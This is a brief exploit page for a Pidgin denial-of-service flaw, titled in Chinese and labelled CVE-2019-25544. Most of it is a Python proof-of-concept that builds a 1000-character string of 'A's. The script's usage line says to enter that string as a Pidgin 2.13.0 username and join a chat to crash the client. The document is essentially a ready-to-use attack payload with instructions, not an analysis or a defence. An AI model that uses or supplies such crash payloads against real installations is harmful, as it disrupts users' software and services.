CVE-2019-25544 Pidgin拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2019-25544 # This script generates the payload that triggers the crash in Pidgin 2.13.0 import sys def generate_payload(length=1000): """ Generates a string of 'A' characters with the specified length. Pidgin 2.13.0 crashes when a username of ~1000 chars is used during chat join. """ return "A" * length if __name__ == "__main__": print("[*] Generating payload for CVE-2019-25544...") payload = generate_payload() print(f"[+] Payload generated (Length: {len(payload)})") print("[+] Usage: Use this string as the 'Username' when creating a new account in Pidgin, then attempt to join a chat.") # print(payload) # Uncomment to see the full string